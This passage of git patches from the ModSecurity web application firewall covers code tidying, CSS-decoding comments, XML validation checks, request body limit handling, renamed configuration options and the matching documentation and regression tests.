a simple + setup is Apache serving static files only, or running scripts using + modules.builds. Some problems you might encounter with more complex + setups: @@ -2342,7 +2343,8 @@ SecRuleUpdateActionById 12345 "t:compressWhitespace,deny,status:403,msg:'A new m <literal>SecUploadFileMode</literal> Description: Configures the mode - (permissions) of any uploaded files using an octal number. + (permissions) of any uploaded files using an octal number (as used in + chmod). Syntax: SecUploadFileMode octal_mode|"default" @@ -2356,12 +2358,14 @@ SecRuleUpdateActionById 12345 "t:compressWhitespace,deny,status:403,msg:'A new m Version: 2.1.6 - Dependencies/Notes: The mode is an octal - number (as used in chmod). The default mode is for only the account - writing the file to have read/write access (0600). Use this directive - with caution to avoid exposing potentially sensitive data to - unauthorized users. Using the value "default" will revert back to the - default setting. + Dependencies/Notes: This feature is not + available on operating systems not supporting octal file modes. The + default mode (0600) only grants read/write access to the account + writing the file. If access from another account is needed (using clamd + is a good example), then this directive may be required. However, use + this directive with caution to avoid exposing potentially sensitive + data to unauthorized users. Using the value "default" will revert back + to the default setting.
@@ -4458,7 +4462,7 @@ SecRule REQUEST_CONTENT_TYPE ^text/xml nolog,pass,ctl:requestBodyProce The requestBodyBuffering option allows you to configure the request body to be buffered (in memory) even if it is not parsed. This - allows inspection of REQUEST_BODY even when no parser is used. + allows inspection of REQUEST_BODY even when no parser is used.
@@ -4515,7 +4519,8 @@ SecRule IP:AUTH_ATTEMPT "@gt 25" \ Note - This action is extremely useful when responding to both Brute + This action is currently not available on Windows based builds. + This action is extremely useful when responding to both Brute Force and Denial of Service attacks in that, in both cases, you want to minimize both the network bandwidth and the data returned to the client. This action causes error message to appear in the log "(9)Bad file From 2f7ff8f7ab59a0a8bec4fb1b1b896aae6a9b4f35 Mon Sep 17 00:00:00 2001 From: ivanr Date: Wed, 10 Sep 2008 11:34:16 +0000 Subject: [PATCH 091/110] Tidy up. --- apache2/apache2_util.c | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/apache2/apache2_util.c b/apache2/apache2_util.c index 569bf201..d3907a34 100644 --- a/apache2/apache2_util.c +++ b/apache2/apache2_util.c @@ -237,7 +237,9 @@ char *get_env_var(request_rec *r, char *name) { } /** - * Internal log helper function. Use msr_log instead. + * Internal log helper function. Use msr_log instead. This function will + * correctly handle both the messages that have a newline at the end, and + * those that don't. */ void internal_log(request_rec *r, directory_config *dcfg, modsec_rec *msr, int level, const char *text, va_list ap) @@ -254,7 +256,10 @@ void internal_log(request_rec *r, directory_config *dcfg, modsec_rec *msr, if ((dcfg->debuglog_fd != NULL)&&(dcfg->debuglog_fd != NOT_SET_P)) { debuglog_fd = dcfg->debuglog_fd; } - if (dcfg->debuglog_level != NOT_SET) filter_debug_level = dcfg->debuglog_level; + + if (dcfg->debuglog_level != NOT_SET) { + filter_debug_level = dcfg->debuglog_level; + } } /* Return immediately if we don't have where to write @@ -265,7 +270,7 @@ void internal_log(request_rec *r, directory_config *dcfg, modsec_rec *msr, /* Construct the message (leaving a byte left for a newline if needed). */ apr_vsnprintf(str1, sizeof(str1), text, ap); - str2len = apr_snprintf(str2, sizeof(str2)-1, + str2len = apr_snprintf(str2, sizeof(str2) - 1, "[%s] [%s/sid#%pp][rid#%pp][%s][%d] %s", current_logtime(msr->mp), ap_get_server_name(r), (r->server), r, ((r->uri == NULL) ? "" : log_escape_nq(msr->mp, r->uri)), From 2ee69ce4683312cda8dccfd1ffc22a87a191d7a4 Mon Sep 17 00:00:00 2001 From: ivanr Date: Wed, 10 Sep 2008 12:44:41 +0000 Subject: [PATCH 092/110] Document css_inplace_decode(). --- apache2/msc_util.c | 59 +++++++++++++++++++++++++++++++++------------- 1 file changed, 42 insertions(+), 17 deletions(-) diff --git a/apache2/msc_util.c b/apache2/msc_util.c index 4816c4d7..a8464ef3 100644 --- a/apache2/msc_util.c +++ b/apache2/msc_util.c @@ -1203,7 +1203,8 @@ char *resolve_relative_path(apr_pool_t *pool, const char *parent_filename, const } /** - * + * Decode a string that contains CSS-escaped characters. + * * References: * http://www.w3.org/TR/REC-CSS2/syndata.html#q4 * http://www.unicode.org/roadmaps/ @@ -1216,38 +1217,53 @@ int css_decode_inplace(unsigned char *input, long int input_len) { i = count = 0; while (i < input_len) { + + /* Is the character a backslash? */ if (input[i] == '\\') { + /* Is there at least one more byte? */ if (i + 1 < input_len) { i++; /* We are not going to need the backslash. */ /* Check for 1-6 hex characters following the backslash */ j = 0; - while ((j < 6) && (i + j < input_len) && - (VALID_HEX(input[i + j]))) + while ( (j < 6) + && (i + j < input_len) + && (VALID_HEX(input[i + j]))) { j++; } - if (j > 0) { + + if (j > 0) { /* We have at least one valid hexadecimal character. */ int fullcheck = 0; /* For now just use the last two bytes. */ - // TODO What do we do if the other bytes are not zeros? switch (j) { /* Number of hex characters */ case 1: *d++ = xsingle2c(&input[i]); break; + case 2: case 3: + /* Use the last two from the end. */ *d++ = x2c(&input[i + j - 2]); break; + case 4: - *d = x2c(&input[i + 2]); + /* Use the last two from the end, but request + * a full width check. + */ + *d = x2c(&input[i + j - 2]); fullcheck = 1; break; + case 5: - *d = x2c(&input[i + 3]); + /* Use the last two from the end, but request + * a full width check if the number is greater + * or equal to 0xFFFF. + */ + *d = x2c(&input[i + j - 2]); /* Do full check if first byte is 0 */ if (input[i] == '0') { @@ -1257,13 +1273,14 @@ int css_decode_inplace(unsigned char *input, long int input_len) { d++; } break; + case 6: - *d = x2c(&input[i + 4]); + *d = x2c(&input[i + j - 2]); /* Do full check if first/second bytes are 0 */ - if ((input[i] == '0') && - (input[i + 1] == '0')) - { + if ( (input[i] == '0') + && (input[i + 1] == '0') + ) { fullcheck = 1; } else { @@ -1272,7 +1289,7 @@ int css_decode_inplace(unsigned char *input, long int input_len) { break; } - /* Full width ASCII (ff01 - ff5e) needs 0x20 added */ + /* Full width ASCII (0xff01 - 0xff5e) needs 0x20 added */ if (fullcheck) { if ( (*d > 0x00) && (*d < 0x5f) && ((input[i + j - 3] == 'f') || @@ -1296,28 +1313,36 @@ int css_decode_inplace(unsigned char *input, long int input_len) { i += j; } - /* "\" must be removed */ + /* No hexadecimal digits after backslash */ else if (input[i] == '\n') { + /* A newline character following backslash is ignored. */ i++; } - /* Otherwise we just escape the next character */ + /* The character after backslash is not a hexadecimal digit, nor a newline. */ else { + /* Use one character after backslash as is. */ *d++ = input[i++]; count++; } } - /* We have a trailing escape */ + /* No characters after backslash. */ else { - i++; /* Do not include it (continuation to nothing) */ + /* Do not include backslash in output (continuation to nothing) */ + i++; } - } else { + } + + /* Character is not a backslash. */ + else { + /* Copy one normal character to output. */ *d++ = input[i++]; count++; } } + /* Terminate output string. */ *d = '\0'; return count; From 5740f7a3eb21e940f0b697acbff56effa42b94c1 Mon Sep 17 00:00:00 2001 From: ivanr Date: Wed, 10 Sep 2008 14:15:37 +0000 Subject: [PATCH 093/110] Tidy up. --- apache2/msc_reqbody.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/apache2/msc_reqbody.c b/apache2/msc_reqbody.c index 31a921f0..b814ec02 100644 --- a/apache2/msc_reqbody.c +++ b/apache2/msc_reqbody.c @@ -335,7 +335,7 @@ apr_status_t modsecurity_request_body_store(modsec_rec *msr, } /** - * + * Replace a bunch of chunks holding a request body with a single large chunk. */ static apr_status_t modsecurity_request_body_end_raw(modsec_rec *msr, char **error_msg) { msc_data_chunk **chunks, *one_chunk; @@ -351,12 +351,14 @@ static apr_status_t modsecurity_request_body_end_raw(modsec_rec *msr, char **err msr->msc_reqbody_length); return -1; } + msr->msc_reqbody_buffer = malloc(msr->msc_reqbody_length + 1); if (msr->msc_reqbody_buffer == NULL) { *error_msg = apr_psprintf(msr->mp, "Unable to allocate memory to hold request body. Asked for %u bytes.", msr->msc_reqbody_length + 1); return -1; } + msr->msc_reqbody_buffer[msr->msc_reqbody_length] = '\0'; /* Copy the data we keep in chunks into the new buffer. */ @@ -390,6 +392,7 @@ static apr_status_t modsecurity_request_body_end_raw(modsec_rec *msr, char **err *error_msg = apr_pstrdup(msr->mp, "Failed to create structure to hold request body."); return -1; } + one_chunk = (msc_data_chunk *)apr_pcalloc(msr->msc_reqbody_mp, sizeof(msc_data_chunk)); one_chunk->data = msr->msc_reqbody_buffer; one_chunk->length = msr->msc_reqbody_length; @@ -477,7 +480,7 @@ apr_status_t modsecurity_request_body_end(modsec_rec *msr, char **error_msg) { } } } else if (msr->txcfg->reqbody_buffering) { - /* No processing if there is no processor and forcing buffering. */ + /* Convert to a single continous buffer, but don't do anything else. */ return modsecurity_request_body_end_raw(msr, error_msg); } From 309510d70b8077f9d8d0bc3e58ce3e4f9c33f87b Mon Sep 17 00:00:00 2001 From: brectanus Date: Wed, 10 Sep 2008 17:11:20 +0000 Subject: [PATCH 094/110] Change from ctl:requestBodyBuffering to ctl:forceRequestBodyVariable. --- CHANGES | 4 ++-- apache2/re_actions.c | 6 +++--- doc/modsecurity2-apache-reference.xml | 11 ++++++----- 3 files changed, 11 insertions(+), 10 deletions(-) diff --git a/CHANGES b/CHANGES index 1bfa104b..fccf7392 100644 --- a/CHANGES +++ b/CHANGES @@ -4,8 +4,8 @@ * Fixed XML DTD/Schema validation which will now fail after request body processing errors, even if the XML parser returns a document tree. - * Added ctl:requestBodyBuffering=on|off which, when enabled, will force - the request body to be buffered and allow REQUEST_BODY to be inspected. + * Added ctl:forceRequestBodyVariable=on|off which, when enabled, will force + the REQUEST_BODY variable to be set and allow it to be inspected. Previously the REQUEST_BODY target was only populated if the request body was a parsable type (application/x-www-form-urlencoded or multipart/form-data) or was forced to be parsed via ctl:requestBodyProcessor. diff --git a/apache2/re_actions.c b/apache2/re_actions.c index c791d2e5..f565dcdf 100644 --- a/apache2/re_actions.c +++ b/apache2/re_actions.c @@ -713,10 +713,10 @@ static char *msre_action_ctl_validate(msre_engine *engine, msre_action *action) */ return NULL; } else - if (strcasecmp(name, "requestBodyBuffering") == 0) { + if (strcasecmp(name, "forceRequestBodyVariable") == 0) { if (parse_boolean(value) == -1) { return apr_psprintf(engine->mp, "Invalid setting for ctl name " - " requestBodyBuffering: %s", value); + " forceRequestBodyVariable: %s", value); } return NULL; } else @@ -838,7 +838,7 @@ static apr_status_t msre_action_ctl_execute(modsec_rec *msr, apr_pool_t *mptmp, return 1; } else - if (strcasecmp(name, "requestBodyBuffering") == 0) { + if (strcasecmp(name, "forceRequestBodyVariable") == 0) { int pv = parse_boolean(value); if (pv == -1) return -1; diff --git a/doc/modsecurity2-apache-reference.xml b/doc/modsecurity2-apache-reference.xml index f570119b..0cc57332 100644 --- a/doc/modsecurity2-apache-reference.xml +++ b/doc/modsecurity2-apache-reference.xml @@ -4411,7 +4411,7 @@ SecRule REQUEST_CONTENT_TYPE ^text/xml nolog,pass,ctl:requestBodyProce - requestBodyBuffering + forceRequestBodyVariable @@ -4437,7 +4437,7 @@ SecRule REQUEST_CONTENT_TYPE ^text/xml nolog,pass,ctl:requestBodyProce With the exception of requestBodyProcessor and - requestBodyBuffering, each configuration option corresponds to + forceRequestBodyVariable, each configuration option corresponds to one configuration directive and the usage is identical. The requestBodyProcessor option allows you to configure the @@ -4460,9 +4460,10 @@ SecRule REQUEST_CONTENT_TYPE ^text/xml nolog,pass,ctl:requestBodyProce moreinfo="none">REQUEST_BODY phase and an appropriate action taken. - The requestBodyBuffering option allows you to configure the - request body to be buffered (in memory) even if it is not parsed. This - allows inspection of REQUEST_BODY even when no parser is used. + The forceRequestBodyVariable option allows you to configure the + REQUEST_BODY variable to be set even if the request body was not parsed. + This allows inspection of REQUEST_BODY even when no parser is used. +
From b2c7424a969a43775d4565676271c65957fd26e1 Mon Sep 17 00:00:00 2001 From: brectanus Date: Wed, 10 Sep 2008 17:39:18 +0000 Subject: [PATCH 095/110] Added a comment. --- apache2/msc_util.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/apache2/msc_util.c b/apache2/msc_util.c index a8464ef3..283596d8 100644 --- a/apache2/msc_util.c +++ b/apache2/msc_util.c @@ -1275,6 +1275,10 @@ int css_decode_inplace(unsigned char *input, long int input_len) { break; case 6: + /* Use the last two from the end, but request + * a full width check if the number is greater + * or equal to 0xFFFF. + */ *d = x2c(&input[i + j - 2]); /* Do full check if first/second bytes are 0 */ From c5e258f0ba318664e095f396e5b39fedbdb84db9 Mon Sep 17 00:00:00 2001 From: brectanus Date: Wed, 10 Sep 2008 18:32:24 +0000 Subject: [PATCH 096/110] Added additional check for XML well formed. --- apache2/re_operators.c | 44 ++++++++++++++++++++---------- apache2/t/regression/rule/10-xml.t | 4 +-- 2 files changed, 32 insertions(+), 16 deletions(-) diff --git a/apache2/re_operators.c b/apache2/re_operators.c index 1545902c..f1c406ce 100644 --- a/apache2/re_operators.c +++ b/apache2/re_operators.c @@ -872,16 +872,24 @@ static int msre_op_validateDTD_execute(modsec_rec *msr, msre_rule *rule, msre_va xmlValidCtxtPtr cvp; xmlDtdPtr dtd; - if (msr->msc_reqbody_error) { - *error_msg = apr_psprintf(msr->mp, "XML: DTD validation could not proceed" - " due to previous processing errors."); + if ((msr->xml == NULL)||(msr->xml->doc == NULL)) { + *error_msg = apr_psprintf(msr->mp, + "XML document tree could not be found for DTD validation."); + return -1; + } + + if (msr->xml->well_formed != 1) { + *error_msg = apr_psprintf(msr->mp, + "XML: DTD validation failed because content is not well formed."); return 1; } - if ((msr->xml == NULL)||(msr->xml->doc == NULL)) { - *error_msg = apr_psprintf(msr->mp, "XML document tree could not be found for " - "DTD validation."); - return -1; + /* Make sure there were no other generic processing errors */ + if (msr->msc_reqbody_error) { + *error_msg = apr_psprintf(msr->mp, + "XML: DTD validation could not proceed due to previous" + " processing errors."); + return 1; } dtd = xmlParseDTD(NULL, (const xmlChar *)rule->op_param); /* EHN support relative filenames */ @@ -934,16 +942,24 @@ static int msre_op_validateSchema_execute(modsec_rec *msr, msre_rule *rule, msre xmlSchemaPtr schema; int rc; - if (msr->msc_reqbody_error) { - *error_msg = apr_psprintf(msr->mp, "XML: Schema validation could not proceed" - " due to previous processing errors."); + if ((msr->xml == NULL)||(msr->xml->doc == NULL)) { + *error_msg = apr_psprintf(msr->mp, + "XML document tree could not be found for schema validation."); + return -1; + } + + if (msr->xml->well_formed != 1) { + *error_msg = apr_psprintf(msr->mp, + "XML: Schema validation failed because content is not well formed."); return 1; } - if ((msr->xml == NULL)||(msr->xml->doc == NULL)) { - *error_msg = apr_psprintf(msr->mp, "XML document tree could not be found for " - "Schema validation."); - return -1; + /* Make sure there were no other generic processing errors */ + if (msr->msc_reqbody_error) { + *error_msg = apr_psprintf(msr->mp, + "XML: Schema validation could not proceed due to previous" + " processing errors."); + return 1; } parserCtx = xmlSchemaNewParserCtxt(rule->op_param); /* ENH support relative filenames */ diff --git a/apache2/t/regression/rule/10-xml.t b/apache2/t/regression/rule/10-xml.t index 21eff807..ab892c26 100644 --- a/apache2/t/regression/rule/10-xml.t +++ b/apache2/t/regression/rule/10-xml.t @@ -111,7 +111,7 @@ "phase:2,deny,id:12345" ), match_log => { - debug => [ qr/XML: Initialising parser.*XML: Parsing complete \(well_formed 0\).*XML parser error.*validation could not proceed due to previous processing errors/s, 1 ], + debug => [ qr/XML: Initialising parser.*XML: Parsing complete \(well_formed 0\).*XML parser error.*validation failed because content is not well formed/s, 1 ], -debug => [ qr/Failed to load|Successfully validated/, 1 ], -error => [ qr/Failed to load|Successfully validated/, 1 ], }, @@ -291,7 +291,7 @@ "phase:2,deny,id:12345" ), match_log => { - debug => [ qr/XML: Initialising parser.*XML: Parsing complete \(well_formed 0\).*XML parser error.*validation could not proceed due to previous processing errors/s, 1 ], + debug => [ qr/XML: Initialising parser.*XML: Parsing complete \(well_formed 0\).*XML parser error.*validation failed because content is not well formed/s, 1 ], -debug => [ qr/Failed to load|Successfully validated/, 1 ], -error => [ qr/Failed to load|Successfully validated/, 1 ], }, From 67c48bfdfb2df750f9b61d8b16937cd0e355c8bf Mon Sep 17 00:00:00 2001 From: brectanus Date: Wed, 10 Sep 2008 19:45:13 +0000 Subject: [PATCH 097/110] Added ability to use ctl:requestBodyAccess=off in phase:1 to avoid limit check. Added regression tests for this as well. --- apache2/mod_security2.c | 5 +- .../regression/config/10-request-directives.t | 220 ++++++++++++++++++ 2 files changed, 224 insertions(+), 1 deletion(-) diff --git a/apache2/mod_security2.c b/apache2/mod_security2.c index cb2f2ac5..0b228063 100644 --- a/apache2/mod_security2.c +++ b/apache2/mod_security2.c @@ -577,7 +577,10 @@ static int hook_request_early(request_rec *r) { rc = perform_interception(msr); } - if ((msr->txcfg->is_enabled != MODSEC_DISABLED) && (rc == DECLINED)) { + if ( (msr->txcfg->is_enabled != MODSEC_DISABLED) + && (msr->txcfg->reqbody_access == 1) + && (rc == DECLINED)) + { /* Check request body limit (non-chunked requests only). */ if (msr->request_content_length > msr->txcfg->reqbody_limit) { msr_log(msr, 1, "Request body (Content-Length) is larger than the " diff --git a/apache2/t/regression/config/10-request-directives.t b/apache2/t/regression/config/10-request-directives.t index baa51f15..16094ca7 100644 --- a/apache2/t/regression/config/10-request-directives.t +++ b/apache2/t/regression/config/10-request-directives.t @@ -179,6 +179,226 @@ "a=1&b=2", ), }, +{ + type => "config", + comment => "SecRequestBodyLimit (equal - chunked)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecRequestBodyLimit 276 + ), + match_log => { + -error => [ qr/Request body is larger than the configured limit/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => normalize_raw_request_data( + qq( + POST /test.txt HTTP/1.1 + Host: $ENV{SERVER_NAME}:$ENV{SERVER_PORT} + User-Agent: $ENV{USER_AGENT} + Content-Type: multipart/form-data; boundary=---------------------------69343412719991675451336310646 + Transfer-Encoding: chunked + + ), + ) + .encode_chunked( + normalize_raw_request_data( + q( + -----------------------------69343412719991675451336310646 + Content-Disposition: form-data; name="a" + + 1 + -----------------------------69343412719991675451336310646 + Content-Disposition: form-data; name="b" + + 2 + -----------------------------69343412719991675451336310646-- + ) + ), + 1024 + ), +}, +{ + type => "config", + comment => "SecRequestBodyLimit (greater - chunked)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecRequestBodyLimit 256 + ), + match_log => { + error => [ qr/Request body .*is larger than the configured limit \(256\)\./, 1 ], + }, + match_response => { + status => qr/^413$/, + }, + request => normalize_raw_request_data( + qq( + POST /test.txt HTTP/1.1 + Host: $ENV{SERVER_NAME}:$ENV{SERVER_PORT} + User-Agent: $ENV{USER_AGENT} + Content-Type: multipart/form-data; boundary=---------------------------69343412719991675451336310646 + Transfer-Encoding: chunked + + ), + ) + .encode_chunked( + normalize_raw_request_data( + q( + -----------------------------69343412719991675451336310646 + Content-Disposition: form-data; name="a" + + 1 + -----------------------------69343412719991675451336310646 + Content-Disposition: form-data; name="b" + + 2 + -----------------------------69343412719991675451336310646-- + ) + ), + 1024 + ), +}, +{ + type => "config", + comment => "SecRequestBodyLimit (ctl:ruleEngine=off)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecRequestBodyLimit 5 + + SecAction "phase:1,pass,nolog,ctl:ruleEngine=off" + SecRule REQUEST_BODY "." "phase:2,deny" + ), + match_log => { + -error => [ qr/Request body .*is larger than the configured limit/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "a=1&b=2", + ), +}, +{ + type => "config", + comment => "SecRequestBodyLimit (ctl:requestBodyAccess=off)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecRequestBodyLimit 5 + + SecAction "phase:1,pass,nolog,ctl:requestBodyAccess=off" + SecRule REQUEST_BODY "." "phase:2,deny" + ), + match_log => { + -error => [ qr/Request body .*is larger than the configured limit/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/test.txt", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + "a=1&b=2", + ), +}, +{ + type => "config", + comment => "SecRequestBodyLimit (ctl:ruleEngine=off - chunked)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecRequestBodyLimit 256 + + SecAction "phase:1,pass,nolog,ctl:ruleEngine=off" + SecRule REQUEST_BODY "." "phase:2,deny" + ), + match_log => { + -error => [ qr/Request body .*is larger than the configured limit/, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => normalize_raw_request_data( + qq( + POST /test.txt HTTP/1.1 + Host: $ENV{SERVER_NAME}:$ENV{SERVER_PORT} + User-Agent: $ENV{USER_AGENT} + Content-Type: multipart/form-data; boundary=---------------------------69343412719991675451336310646 + Transfer-Encoding: chunked + + ), + ) + .encode_chunked( + normalize_raw_request_data( + q( + -----------------------------69343412719991675451336310646 + Content-Disposition: form-data; name="a" + + 1 + -----------------------------69343412719991675451336310646 + Content-Disposition: form-data; name="b" + + 2 + -----------------------------69343412719991675451336310646-- + ) + ), + 1024 + ), +}, +{ + type => "config", + comment => "SecRequestBodyLimit (ctl:requestBodyAccess=off - chunked)", + conf => qq( + SecRuleEngine On + SecRequestBodyAccess On + SecRequestBodyLimit 256 + + SecAction "phase:1,pass,nolog,ctl:requestBodyAccess=off" + SecRule REQUEST_BODY "." "phase:2,deny" + ), + match_log => { + -error => [ qr/Request body .*is larger than the configured limit \(256\)\./, 1 ], + }, + match_response => { + status => qr/^200$/, + }, + request => normalize_raw_request_data( + qq( + POST /test.txt HTTP/1.1 + Host: $ENV{SERVER_NAME}:$ENV{SERVER_PORT} + User-Agent: $ENV{USER_AGENT} + Content-Type: multipart/form-data; boundary=---------------------------69343412719991675451336310646 + Transfer-Encoding: chunked + + ), + ) + .encode_chunked( + normalize_raw_request_data( + q( + -----------------------------69343412719991675451336310646 + Content-Disposition: form-data; name="a" + + 1 + -----------------------------69343412719991675451336310646 + Content-Disposition: form-data; name="b" + + 2 + -----------------------------69343412719991675451336310646-- + ) + ), + 1024 + ), +}, # SecRequestBodyInMemoryLimit { From 3848ff5b36474820dd54c6cc7a96a9a2be3555a4 Mon Sep 17 00:00:00 2001 From: brectanus Date: Mon, 15 Sep 2008 19:51:06 +0000 Subject: [PATCH 098/110] Worked around mod_jk issue where a 401 response was not including the WWW-Authentication header (MODSEC-16). --- CHANGES | 5 ++++- apache2/apache2_io.c | 18 ++++++++++++++++++ apache2/modsecurity.h | 1 + 3 files changed, 23 insertions(+), 1 deletion(-) diff --git a/CHANGES b/CHANGES index fccf7392..8d348b46 100644 --- a/CHANGES +++ b/CHANGES @@ -1,6 +1,9 @@ -03 Sep 2008 - trunk +15 Sep 2008 - trunk ------------------- + * Worked around mod_jk issue where a 401 response was not including the + WWW-Authentication header. + * Fixed XML DTD/Schema validation which will now fail after request body processing errors, even if the XML parser returns a document tree. diff --git a/apache2/apache2_io.c b/apache2/apache2_io.c index 457ee6cc..3e030e63 100644 --- a/apache2/apache2_io.c +++ b/apache2/apache2_io.c @@ -378,6 +378,8 @@ static apr_status_t output_filter_init(modsec_rec *msr, ap_filter_t *f, return -1; /* Invalid. */ } + msr->response_content_length = len; + if (len == 0) { if (msr->txcfg->debuglog_level >= 4) { msr_log(msr, 4, "Output filter: Skipping response since Content-Length is zero."); @@ -676,6 +678,22 @@ apr_status_t output_filter(ap_filter_t *f, apr_bucket_brigade *bb_in) { } } + msr->of_done_reading = 1; + } + /* ENH: Probably need to make the handlers for this workaround + * configurable. */ + else if ( (strcmp("jakarta-servlet", msr->r->handler) == 0) + && APR_BUCKET_IS_FLUSH(bucket) + && (APR_BUCKET_NEXT(bucket) == APR_BRIGADE_SENTINEL(bb_in)) + && (msr->resbody_length == msr->response_content_length)) + { + /* A FLUSH sent as the last bucket in the bridade may indicate + * the end of the response for certain modules if the bytes + * received match the response C-L header. In this case, the + * FLUSH bucket is interpreted as an EOS. + */ + msr_log(msr, 4, "Output filter: Interpreted FLUSH as EOS for handler \"%s\".", msr->r->handler); + msr->of_done_reading = 1; } } diff --git a/apache2/modsecurity.h b/apache2/modsecurity.h index 7cfdd5ea..fbf28fdc 100644 --- a/apache2/modsecurity.h +++ b/apache2/modsecurity.h @@ -268,6 +268,7 @@ struct modsec_rec { const char *response_protocol; apr_table_t *response_headers; unsigned int response_headers_sent; + apr_off_t response_content_length; apr_off_t bytes_sent; /* modsecurity request body processing stuff */ From 7b0e71f9299a2025f3cd160794f1486e3b3d58f5 Mon Sep 17 00:00:00 2001 From: ivanr Date: Wed, 17 Sep 2008 10:59:11 +0000 Subject: [PATCH 099/110] CHANGES text describing when REQUEST_BODY is populated was not accurate. --- CHANGES | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/CHANGES b/CHANGES index 8d348b46..9af5775f 100644 --- a/CHANGES +++ b/CHANGES @@ -8,10 +8,9 @@ processing errors, even if the XML parser returns a document tree. * Added ctl:forceRequestBodyVariable=on|off which, when enabled, will force - the REQUEST_BODY variable to be set and allow it to be inspected. - Previously the REQUEST_BODY target was only populated if the request body - was a parsable type (application/x-www-form-urlencoded or - multipart/form-data) or was forced to be parsed via ctl:requestBodyProcessor. + the REQUEST_BODY variable to be set when a request body processor is not set. + Previously the REQUEST_BODY target was only populated by the URLENCODED + request body processor. * Integrated mlogc source. From becf6940330ce5ff0ef1a1a7d9ec9ed3c8450c4a Mon Sep 17 00:00:00 2001 From: ivanr Date: Wed, 17 Sep 2008 11:04:12 +0000 Subject: [PATCH 100/110] Updated REQUEST_BODY documentation. --- doc/modsecurity2-apache-reference.xml | 94 +++++++++++++++------------ 1 file changed, 54 insertions(+), 40 deletions(-) diff --git a/doc/modsecurity2-apache-reference.xml b/doc/modsecurity2-apache-reference.xml index 0cc57332..b7105862 100644 --- a/doc/modsecurity2-apache-reference.xml +++ b/doc/modsecurity2-apache-reference.xml @@ -2077,7 +2077,8 @@ ServerAlias www.app2.com parent contexts. Syntax: SecRuleRemoveById RULEID + moreinfo="none">SecRuleUpdateActionById RULEID + ACTIONLIST Example Usage: SecRuleRemoveByID 1 2 "9000-9010" @@ -2360,12 +2361,12 @@ SecRuleUpdateActionById 12345 "t:compressWhitespace,deny,status:403,msg:'A new m Dependencies/Notes: This feature is not available on operating systems not supporting octal file modes. The - default mode (0600) only grants read/write access to the account - writing the file. If access from another account is needed (using clamd - is a good example), then this directive may be required. However, use - this directive with caution to avoid exposing potentially sensitive - data to unauthorized users. Using the value "default" will revert back - to the default setting. + default mode (0600) only grants read/write access to the account writing + the file. If access from another account is needed (using clamd is a + good example), then this directive may be required. However, use this + directive with caution to avoid exposing potentially sensitive data to + unauthorized users. Using the value "default" will revert back to the + default setting.
@@ -2488,23 +2489,23 @@ SecAction setsid:%{REQUEST_COOKIES.PHPSESSID} - Request headers (REQUEST_HEADERS) + Request headers (REQUEST_HEADERS) - Request body (REQUEST_BODY) + Request body (REQUEST_BODY) - Response headers (RESPONSE_HEADERS) + Response headers (RESPONSE_HEADERS) - Response body (RESPONSE_BODY) + Response body (RESPONSE_BODY) - Logging (LOGGING) + Logging (LOGGING) @@ -3150,7 +3151,8 @@ SecRule XML "@validateDTD /opt/apache-frontend/conf/xml.dtd" Please note that anti-evasion transformations are not applied to this variable by default. REQUEST_BASENAME will - recognise both / and \ as path separators. + recognise both / and \ as path + separators.
@@ -3158,16 +3160,25 @@ SecRule XML "@validateDTD /opt/apache-frontend/conf/xml.dtd" <literal moreinfo="none">REQUEST_BODY</literal> This variable holds the data in the request body (including - POST_PAYLOAD data). REQUEST_BODY should be used if the original order of - the arguments is important (ARGS should be used in all other cases). + POST_PAYLOAD data). REQUEST_BODY + should be used if the original order of the arguments is important + (ARGS should be used in all other cases). Example: SecRule REQUEST_BODY "^username=\w{25,}\&password=\w{25,}\&Submit\=login$" - Note - - This variable is only available if the content type is - application/x-www-form-urlencoded. + + This variable is only available if the + URLENCODED request body processor parsed a request + body. This will occur by default when an + application/x-www-form-urlencoded is detected, or + the URLENCODED request body parser is forced. As of + 2.5.7 it is possible to force the presence of the + REQUEST_BODY variable, but only when there is no + request body processor defined, using the + ctl:forceRequestBodyVariable option in the + REQUEST_HEADERS phase. +
@@ -4411,7 +4422,8 @@ SecRule REQUEST_CONTENT_TYPE ^text/xml nolog,pass,ctl:requestBodyProce - forceRequestBodyVariable + forceRequestBodyVariable @@ -4437,20 +4449,22 @@ SecRule REQUEST_CONTENT_TYPE ^text/xml nolog,pass,ctl:requestBodyProce With the exception of requestBodyProcessor and - forceRequestBodyVariable, each configuration option corresponds to - one configuration directive and the usage is identical. + forceRequestBodyVariable, each configuration option + corresponds to one configuration directive and the usage is + identical. - The requestBodyProcessor option allows you to configure the - request body processor. By default ModSecurity will use the URLENCODED and - MULTIPART processors to process an The requestBodyProcessor option allows you to + configure the request body processor. By default ModSecurity will use + the URLENCODED and MULTIPART processors to process an application/x-www-form-urlencoded and a - multipart/form-data body, - respectively. A third processor, XML, is also supported, but it is never - used implicitly. Instead you must tell ModSecurity to use it by placing - a few rules in the REQUEST_HEADERS - processing phase. After the request body was processed as XML you will - be able to use the XML-related features to inspect it. + multipart/form-data bodies, + respectively. A third processor, XML, is also + supported, but it is never used implicitly. Instead you must tell + ModSecurity to use it by placing a few rules in the REQUEST_HEADERS processing phase. After the + request body was processed as XML you will be able to use the + XML-related features to inspect it. Request body processors will not interrupt a transaction if an error occurs during parsing. Instead they will set variablesctl:requestBodyProce moreinfo="none">REQUEST_BODY phase and an appropriate action taken. - The forceRequestBodyVariable option allows you to configure the - REQUEST_BODY variable to be set even if the request body was not parsed. - This allows inspection of REQUEST_BODY even when no parser is used. - + The forceRequestBodyVariable option allows you + to configure the REQUEST_BODY variable to be set when + there is no request body processor configured. This allows for + inspection 